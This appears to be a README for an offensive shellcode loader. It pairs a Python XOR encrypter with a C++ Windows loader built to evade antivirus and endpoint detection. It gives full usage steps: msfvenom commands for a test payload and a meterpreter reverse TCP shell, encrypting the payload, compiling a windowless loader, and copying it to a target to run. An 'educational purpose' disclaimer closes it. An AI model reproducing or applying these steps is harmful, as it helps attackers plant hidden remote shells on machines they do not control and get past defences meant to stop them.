Shellcode Loader

Python Encrypter + C++ Loader

Features

• XOR encryption with 8-byte rotating key
• External payload loading (data.bin)
• Process detachment : Spawns independent background process (no console window)
• Memory protection

Files:

ShellcodeLoaderEncrypter.py : XOR encryption script
ShellcodeLoader.cpp : Windows loader

Usage

1- Generate shellcode

test payload

msfvenom -p windows/x64/exec cmd=calc.exe -f raw -o payload.bin

reverse shell

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=_ LPORT=_ -f raw -o payload.bin

2- Encryption

python3 ShellLoaderEncrypter.py payload.bin

output:

data.bin : encrypted payload

3- Compile loader

x86_64-w64-mingw32-g++ ShellcodeLoader.cpp -o loader.exe -O2 -s -static -mwindows

4- Execute

copy loader.exe and data.bin to target, then run:

C:\> loader.exe

---

License

MIT License - Educational purpose only

Disclaimer :

Educational Purpose - Intended for

• security research and education
• authorized penetration testing engagements
• Malware analysis and defense training
• Understanding EDR evasion concepts

---